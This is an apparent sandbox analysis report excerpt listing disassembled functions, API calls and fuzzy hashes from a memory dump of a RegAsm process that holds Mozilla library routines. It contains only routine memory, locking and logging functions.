Associated: 00000002.00000002.2475260144.000000006CC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475650854.000000006CCBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475681095.000000006CCC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc30000_RegAsm.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfreemalloc
String ID:
API String ID: 1394714614-0
Opcode ID: 51544dc9f21d85414a50ff5d69228bc5f52bae0b60e8556c42af2da1aae39e42
Instruction ID: 297e0ebdf178e551a262bbd8912b0ef863c13781515873c65bef4c66bd142892
Opcode Fuzzy Hash: 51544dc9f21d85414a50ff5d69228bc5f52bae0b60e8556c42af2da1aae39e42
Instruction Fuzzy Hash: 7941E3B2D005259FCB04DF68EC945AEB7B5FB45320F250629E829E7780F731A9048BE1

Function 6CC3EF30 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(6CCB5104), ref: 6CC3EFAC
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6CC3EFD7
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CC3EFEC
free.MOZGLUE(?), ref: 6CC3F00C
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6CC3F02E
memcpy.VCRUNTIME140(00000000,?), ref: 6CC3F041
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CC3F065
moz_xmalloc.MOZGLUE ref: 6CC3F072

Memory Dump Source

Source File: 00000002.00000002.2475276160.000000006CC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC30000, based on PE: true

Associated: 00000002.00000002.2475260144.000000006CC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475650854.000000006CCBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475681095.000000006CCC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc30000_RegAsm.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 1148890222-0
Opcode ID: 9425729af7d86e4f4a491fdbe31271777e00212789c18322d2fd1f8f387815f3
Instruction ID: e20aef7dbec717949eaf4c7e65986a924002eef227032a9315ff1c521ff2d74e
Opcode Fuzzy Hash: 9425729af7d86e4f4a491fdbe31271777e00212789c18322d2fd1f8f387815f3
Instruction Fuzzy Hash: 0041D9B1A001169FCB08CF68EC809AE7765FF88314B24466CE81AD7794FB75E915C7E1

Function 6CCAB540 Relevance: 12.1, APIs: 8, Instructions: 93COMMON

Download Yara Rule

APIs

?classic@locale@std@@SAABV12@XZ.MSVCP140 ref: 6CCAB5B9
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6CCAB5C5
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6CCAB5DA
??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6CCAB5F4
__Init_thread_footer.LIBCMT ref: 6CCAB605
?_Getcat@?$ctype@D@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(00000000,?,00000000), ref: 6CCAB61F
std::_Facet_Register.LIBCPMT ref: 6CCAB631
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CCAB655

Memory Dump Source

Source File: 00000002.00000002.2475276160.000000006CC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC30000, based on PE: true

Associated: 00000002.00000002.2475260144.000000006CC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475650854.000000006CCBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475681095.000000006CCC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc30000_RegAsm.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?classic@locale@std@@Bid@locale@std@@D@std@@Facet_Getcat@?$ctype@Init_thread_footerRegisterV12@V42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 1276798925-0
Opcode ID: d6fc7ce9e986f3d2a4060040e041f359518c70ffacd4c9817143981d748e8850
Instruction ID: 913224d398ae304cd8a06d744b8b942bfc86cdbe9b2fc2313d0dbbd9c068a89a
Opcode Fuzzy Hash: d6fc7ce9e986f3d2a4060040e041f359518c70ffacd4c9817143981d748e8850
Instruction Fuzzy Hash: 3531B379B00205CFCB00DFF9C8A89AEB7B5FF8A324B150599D90297740EB34A807CB95

Function 6CC49830 Relevance: 10.7, APIs: 7, Instructions: 196COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,?,?,6CC97ABE), ref: 6CC4985B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,6CC97ABE), ref: 6CC498A8
moz_xmalloc.MOZGLUE(00000020), ref: 6CC49909
memcpy.VCRUNTIME140(00000023,?,?), ref: 6CC49918
free.MOZGLUE(?), ref: 6CC49975

Memory Dump Source

Source File: 00000002.00000002.2475276160.000000006CC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC30000, based on PE: true

Associated: 00000002.00000002.2475260144.000000006CC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475650854.000000006CCBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475681095.000000006CCC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc30000_RegAsm.jbxd

Similarity

API ID: free$_invalid_parameter_noinfo_noreturnmemcpymoz_xmalloc
String ID:
API String ID: 1281542009-0
Opcode ID: 0764e775a210bb2d539650b1298f21c246cbe7a57411dac5fa46b3089065f3c7
Instruction ID: 0abbb1056453f3e8e5dd87810baab3b36d638fe6d94386d0e887b349c37078c2
Opcode Fuzzy Hash: 0764e775a210bb2d539650b1298f21c246cbe7a57411dac5fa46b3089065f3c7
Instruction Fuzzy Hash: 6B719C746007158FC725CF28C580956B7F5FF4A324B248AADE85A8BBA0E771F845CB50

Function 6CC4B790 Relevance: 10.6, APIs: 7, Instructions: 147COMMON

Download Yara Rule

APIs

?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6CC8CC83,?,?,?,?,?,?,?,?,?,6CC8BCAE,?,?,6CC7DC2C), ref: 6CC4B7E6
?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6CC8CC83,?,?,?,?,?,?,?,?,?,6CC8BCAE,?,?,6CC7DC2C), ref: 6CC4B80C
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(?,00000000,?,6CC8CC83,?,?,?,?,?,?,?,?,?,6CC8BCAE), ref: 6CC4B88E
?_Osfx@?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEXXZ.MSVCP140(?,6CC8CC83,?,?,?,?,?,?,?,?,?,6CC8BCAE,?,?,6CC7DC2C), ref: 6CC4B896

Memory Dump Source

Source File: 00000002.00000002.2475276160.000000006CC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC30000, based on PE: true

Associated: 00000002.00000002.2475260144.000000006CC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475650854.000000006CCBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475681095.000000006CCC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc30000_RegAsm.jbxd

Similarity

API ID: ?good@ios_base@std@@D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@Osfx@?$basic_ostream@
String ID:
API String ID: 922945588-0
Opcode ID: bcdd91ffc4d637c9301c608326139dc0e72ea955073c86225b9fe72161bbf8dc
Instruction ID: b38f9e6e4200ff579972aa192a45d391532718b6047f1fa906ce11a3bd42811f
Opcode Fuzzy Hash: bcdd91ffc4d637c9301c608326139dc0e72ea955073c86225b9fe72161bbf8dc
Instruction Fuzzy Hash: FF516B35700A048FDB25CF59C4A4A6EBBF5FF89318B69C95DE98A87351D731E802CB80

Function 6CC74AD0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 139stringCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,?,80000000,?,6CC74AB7,?,6CC343CF,?,6CC342D2), ref: 6CC74B48
free.MOZGLUE(?,?,?,80000000,?,6CC74AB7,?,6CC343CF,?,6CC342D2), ref: 6CC74B7F
memcpy.VCRUNTIME140(00000000,?,?,80000000,?,6CC74AB7,?,6CC343CF,?,6CC342D2), ref: 6CC74B94
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,6CC74AB7,?,6CC343CF,?,6CC342D2), ref: 6CC74BBC
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,pid:,00000004,?,?,?,6CC74AB7,?,6CC343CF,?,6CC342D2), ref: 6CC74BEE

Strings

pid:, xrefs: 6CC74BE8

Memory Dump Source

Source File: 00000002.00000002.2475276160.000000006CC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC30000, based on PE: true

Associated: 00000002.00000002.2475260144.000000006CC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475650854.000000006CCBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475681095.000000006CCC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc30000_RegAsm.jbxd

Similarity

API ID: memcpy$_invalid_parameter_noinfo_noreturnfreestrncmp
String ID: pid:
API String ID: 1916652239-3403741246
Opcode ID: 4c6f748d4c17a2816693ced801d03e63141d72772215ce4a619297c767d6a450
Instruction ID: 047abfd99efe7e5473bd4df71819a6d3811a8b05c3c5aa6068343f58295eaf49
Opcode Fuzzy Hash: 4c6f748d4c17a2816693ced801d03e63141d72772215ce4a619297c767d6a450
Instruction Fuzzy Hash: 8B41E671B002159BCB24CFB8DC8099FBBB9EF85224B144639E865D7781EB309908CBB5

Function 6CC81D00 Relevance: 10.6, APIs: 7, Instructions: 115threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CC81D0F
AcquireSRWLockExclusive.KERNEL32(?,?,6CC81BE3,?,?,6CC81D96,00000000), ref: 6CC81D18
ReleaseSRWLockExclusive.KERNEL32(?,?,6CC81BE3,?,?,6CC81D96,00000000), ref: 6CC81D4C
GetCurrentThreadId.KERNEL32 ref: 6CC81DB7
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CC81DC0
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CC81DDA

Part of subcall function 6CC81EF0: GetCurrentThreadId.KERNEL32 ref: 6CC81F03
Part of subcall function 6CC81EF0: AcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,6CC81DF2,00000000,00000000), ref: 6CC81F0C
Part of subcall function 6CC81EF0: ReleaseSRWLockExclusive.KERNEL32 ref: 6CC81F20

moz_xmalloc.MOZGLUE(00000008,00000000,00000000), ref: 6CC81DF4

Part of subcall function 6CC4CA10: malloc.MOZGLUE(?), ref: 6CC4CA26

Memory Dump Source

Source File: 00000002.00000002.2475276160.000000006CC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC30000, based on PE: true

Associated: 00000002.00000002.2475260144.000000006CC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475650854.000000006CCBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475681095.000000006CCC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc30000_RegAsm.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$mallocmoz_xmalloc
String ID:
API String ID: 1880959753-0
Opcode ID: ebcb6e301a00faaf143ae2bbd784498adb6af81b87cf87779cd58181d6bcb967
Instruction ID: cb0a82b2f0db93b956465db9ded3e4cc19976113097c018a5294d4f85013352e
Opcode Fuzzy Hash: ebcb6e301a00faaf143ae2bbd784498adb6af81b87cf87779cd58181d6bcb967
Instruction Fuzzy Hash: 0B4164B52017009FCB10CF69C498B5ABBF9FB89318F10446EE9AA87B41DB71F854CB94

Function 6CC9AAB0 Relevance: 10.6, APIs: 7, Instructions: 86memoryCOMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6CCBE220,?), ref: 6CC9BC2D
ReleaseSRWLockExclusive.KERNEL32(6CCBE220), ref: 6CC9BC42
RtlFreeHeap.NTDLL(?,00000000,6CCAE300), ref: 6CC9BC82
RtlFreeUnicodeString.NTDLL(6CCBE210), ref: 6CC9BC91
RtlFreeUnicodeString.NTDLL(6CCBE208), ref: 6CC9BCA3
RtlFreeHeap.NTDLL(?,00000000,6CCBE21C), ref: 6CC9BCD2
free.MOZGLUE(?), ref: 6CC9BCD8

Memory Dump Source

Source File: 00000002.00000002.2475276160.000000006CC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC30000, based on PE: true

Associated: 00000002.00000002.2475260144.000000006CC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475650854.000000006CCBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475681095.000000006CCC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc30000_RegAsm.jbxd

Similarity

API ID: Free$ExclusiveHeapLockStringUnicode$AcquireReleasefree
String ID:
API String ID: 3047341122-0
Opcode ID: 7cf9629259b70dbcf1d497044db4d001dcbd192c0838a8db690cee31d3d834c8
Instruction ID: 4d0bf74949fda242cdcebb9f957febb3c08e6ad0da31121213caa23ffa412deb
Opcode Fuzzy Hash: 7cf9629259b70dbcf1d497044db4d001dcbd192c0838a8db690cee31d3d834c8
Instruction Fuzzy Hash: 1121FF72A00705AFE3208F46C880B66B7B8FF41718F148469E91A9BA10EB35F846CBD1

Function 6CC438A0 Relevance: 10.6, APIs: 7, Instructions: 80memoryCOMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6CCBE220,?,?,?,?,6CC43899,?), ref: 6CC438B2
ReleaseSRWLockExclusive.KERNEL32(6CCBE220,?,?,?,6CC43899,?), ref: 6CC438C3
free.MOZGLUE(00000000,?,?,?,6CC43899,?), ref: 6CC438F1
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6CC43920
RtlFreeUnicodeString.NTDLL(-0000000C,?,?,?,6CC43899,?), ref: 6CC4392F
RtlFreeUnicodeString.NTDLL(-00000014,?,?,?,6CC43899,?), ref: 6CC43943
RtlFreeHeap.NTDLL(?,00000000,0000002C), ref: 6CC4396E

Memory Dump Source

Source File: 00000002.00000002.2475276160.000000006CC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC30000, based on PE: true

Associated: 00000002.00000002.2475260144.000000006CC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475650854.000000006CCBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475681095.000000006CCC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc30000_RegAsm.jbxd

Similarity

API ID: Free$ExclusiveHeapLockStringUnicode$AcquireReleasefree
String ID:
API String ID: 3047341122-0
Opcode ID: 7cbc156125db256caabd5373d54ac80fb1d1d4e85ea225023b3518bd97a626a4
Instruction ID: effeb415e0b3bdc624c5972bd2ad697245cf154774d3e70c63b45919c07aac4e
Opcode Fuzzy Hash: 7cbc156125db256caabd5373d54ac80fb1d1d4e85ea225023b3518bd97a626a4
Instruction Fuzzy Hash: F221F172600614DFD720DF65C884B86B7B9EF85328F19C429E95A97B10E735F846CB90

Function 6CC784E0 Relevance: 10.6, APIs: 7, Instructions: 79COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CC784F3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CC7850A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CC7851E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CC7855B
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CC7856F
??1UniqueJSONStrings@baseprofiler@mozilla@@QAE@XZ.MOZGLUE(?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CC785AC

Part of subcall function 6CC77670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6CC785B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CC7767F
Part of subcall function 6CC77670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6CC785B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CC77693
Part of subcall function 6CC77670: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6CC785B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CC776A7

free.MOZGLUE(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CC785B2

Part of subcall function 6CC55E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CC55EDB
Part of subcall function 6CC55E90: memset.VCRUNTIME140(6CC97765,000000E5,55CCCCCC), ref: 6CC55F27
Part of subcall function 6CC55E90: LeaveCriticalSection.KERNEL32(?), ref: 6CC55FB2

Memory Dump Source

Source File: 00000002.00000002.2475276160.000000006CC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC30000, based on PE: true

Associated: 00000002.00000002.2475260144.000000006CC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475650854.000000006CCBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475681095.000000006CCC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc30000_RegAsm.jbxd

Similarity

API ID: free$CriticalSection$EnterLeaveStrings@baseprofiler@mozilla@@Uniquememset
String ID:
API String ID: 2666944752-0
Opcode ID: e605cb9b147a7111abbd5410d7fcf34cc84e72795510a9a93720eb420cfbb820
Instruction ID: 4d10ac50577aada7d362b61e3a0208b1fa88210924dcbc24274bf3900a8d925e
Opcode Fuzzy Hash: e605cb9b147a7111abbd5410d7fcf34cc84e72795510a9a93720eb420cfbb820
Instruction Fuzzy Hash: 03218D742006018FEB24DB64D888E5AB7B5FF4430CF14482DE65B93B41EB35F959CB65

Function 6CC41640 Relevance: 10.6, APIs: 7, Instructions: 77COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,00000114), ref: 6CC41699
VerSetConditionMask.NTDLL ref: 6CC416CB
VerSetConditionMask.NTDLL ref: 6CC416D7
VerSetConditionMask.NTDLL ref: 6CC416DE
VerSetConditionMask.NTDLL ref: 6CC416E5
VerSetConditionMask.NTDLL ref: 6CC416EC
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6CC416F9

Memory Dump Source

Source File: 00000002.00000002.2475276160.000000006CC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC30000, based on PE: true

Associated: 00000002.00000002.2475260144.000000006CC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475650854.000000006CCBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475681095.000000006CCC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc30000_RegAsm.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemset
String ID:
API String ID: 375572348-0
Opcode ID: e24f57c6cc0dcdbc0680845e64a71ef5d9877aeed16889d08876a397a2388276
Instruction ID: 2925a08fddee8f5a54bbaee1171f1445e7a55aefe934bad04d5e26a7ccde79d0
Opcode Fuzzy Hash: e24f57c6cc0dcdbc0680845e64a71ef5d9877aeed16889d08876a397a2388276
Instruction Fuzzy Hash: 8A21D5B07402086FEB115BA8CC85FFB737CEF86704F008568F6459B280D678DD5486A1

Function 6CC8D1D0 Relevance: 10.6, APIs: 7, Instructions: 74threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CC8D1EC
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CC8D1F5

Part of subcall function 6CC8AD40: moz_malloc_usable_size.MOZGLUE(?), ref: 6CC8AE20

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CC8D211
GetCurrentThreadId.KERNEL32 ref: 6CC8D217
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CC8D226
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CC8D279
free.MOZGLUE(?), ref: 6CC8D2B2

Memory Dump Source

Source File: 00000002.00000002.2475276160.000000006CC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC30000, based on PE: true

Associated: 00000002.00000002.2475260144.000000006CC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475650854.000000006CCBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475681095.000000006CCC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc30000_RegAsm.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$freemoz_malloc_usable_size
String ID:
API String ID: 3049780610-0
Opcode ID: 76f9d468145eefffe3a8ea2ea4ac992c6c9340ddfca5001b599fad8b3393750a
Instruction ID: 9018763d0e57128db53b5253077ad3a31de6d0816aa7121a2af032e18bf65e10
Opcode Fuzzy Hash: 76f9d468145eefffe3a8ea2ea4ac992c6c9340ddfca5001b599fad8b3393750a
Instruction Fuzzy Hash: 3C218B717047059FCB04DF64C498A9EBBB1FF8A328F10462EF51A87340EB34A809CB96

Function 6CC7F5B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 70threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CC6CBE8: GetCurrentProcess.KERNEL32(?,6CC331A7), ref: 6CC6CBF1
Part of subcall function 6CC6CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CC331A7), ref: 6CC6CBFA

Part of subcall function 6CC79420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CC44A68), ref: 6CC7945E
Part of subcall function 6CC79420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CC79470
Part of subcall function 6CC79420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CC79482
Part of subcall function 6CC79420: __Init_thread_footer.LIBCMT ref: 6CC7949F

GetCurrentThreadId.KERNEL32 ref: 6CC7F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6CC7F598), ref: 6CC7F621

Part of subcall function 6CC794D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CC794EE
Part of subcall function 6CC794D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CC79508

GetCurrentThreadId.KERNEL32 ref: 6CC7F637
AcquireSRWLockExclusive.KERNEL32(6CCBF4B8,?,?,00000000,?,6CC7F598), ref: 6CC7F645
ReleaseSRWLockExclusive.KERNEL32(6CCBF4B8,?,?,00000000,?,6CC7F598), ref: 6CC7F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6CC7F62A

Memory Dump Source

Source File: 00000002.00000002.2475276160.000000006CC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC30000, based on PE: true

Associated: 00000002.00000002.2475260144.000000006CC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475650854.000000006CCBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475681095.000000006CCC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc30000_RegAsm.jbxd

Similarity

API ID: Currentgetenv$ExclusiveLockProcessThread$AcquireInit_thread_footerReleaseTerminate__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 1579816589-753366533
Opcode ID: c714ea776e7f8b3f81ded6a531ee0fa0fb2d99447b1f5984636899f167b7c6da
Instruction ID: 4778df622c67525bb7c54f3533e28710fa10add5ef69b097b7c5efe91115fbe4
Opcode Fuzzy Hash: c714ea776e7f8b3f81ded6a531ee0fa0fb2d99447b1f5984636899f167b7c6da
Instruction Fuzzy Hash: 7311A379201205AFCB54AFA9C9989A5B779FF86758B100016FA0587F01EB71EC21CBB4

Function 6CC42070 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 68libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6CC6AB89: EnterCriticalSection.KERNEL32(6CCBE370,?,?,?,6CC334DE,6CCBF6CC,?,?,?,?,?,?,?,6CC33284), ref: 6CC6AB94
Part of subcall function 6CC6AB89: LeaveCriticalSection.KERNEL32(6CCBE370,?,6CC334DE,6CCBF6CC,?,?,?,?,?,?,?,6CC33284,?,?,6CC556F6), ref: 6CC6ABD1

LoadLibraryW.KERNEL32(combase.dll,6CC41C5F), ref: 6CC420AE
GetProcAddress.KERNEL32(00000000,CoInitializeSecurity), ref: 6CC420CD
__Init_thread_footer.LIBCMT ref: 6CC420E1
FreeLibrary.KERNEL32 ref: 6CC42124

Strings

CoInitializeSecurity, xrefs: 6CC420C7
combase.dll, xrefs: 6CC420A9

Memory Dump Source

Source File: 00000002.00000002.2475276160.000000006CC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC30000, based on PE: true

Associated: 00000002.00000002.2475260144.000000006CC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475650854.000000006CCBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475681095.000000006CCC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc30000_RegAsm.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeSecurity$combase.dll
API String ID: 4190559335-2476802802
Opcode ID: 2e1e177a3e7b781c2ed851fa9a27d512037c1acfad0a9bfa6c3213e98608d4e1
Instruction ID: cdf4e73a16d7355498c12083d25a2eb043f2d541ade559201004c174f854c738
Opcode Fuzzy Hash: 2e1e177a3e7b781c2ed851fa9a27d512037c1acfad0a9bfa6c3213e98608d4e1
Instruction Fuzzy Hash: 3A216A7A200209EFDF118F99DD99D9A3BB6FB4A325F008018FA0592710E7719866DF65

Function 6CC799A0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 62threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CC79420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CC44A68), ref: 6CC7945E
Part of subcall function 6CC79420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CC79470
Part of subcall function 6CC79420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CC79482
Part of subcall function 6CC79420: __Init_thread_footer.LIBCMT ref: 6CC7949F

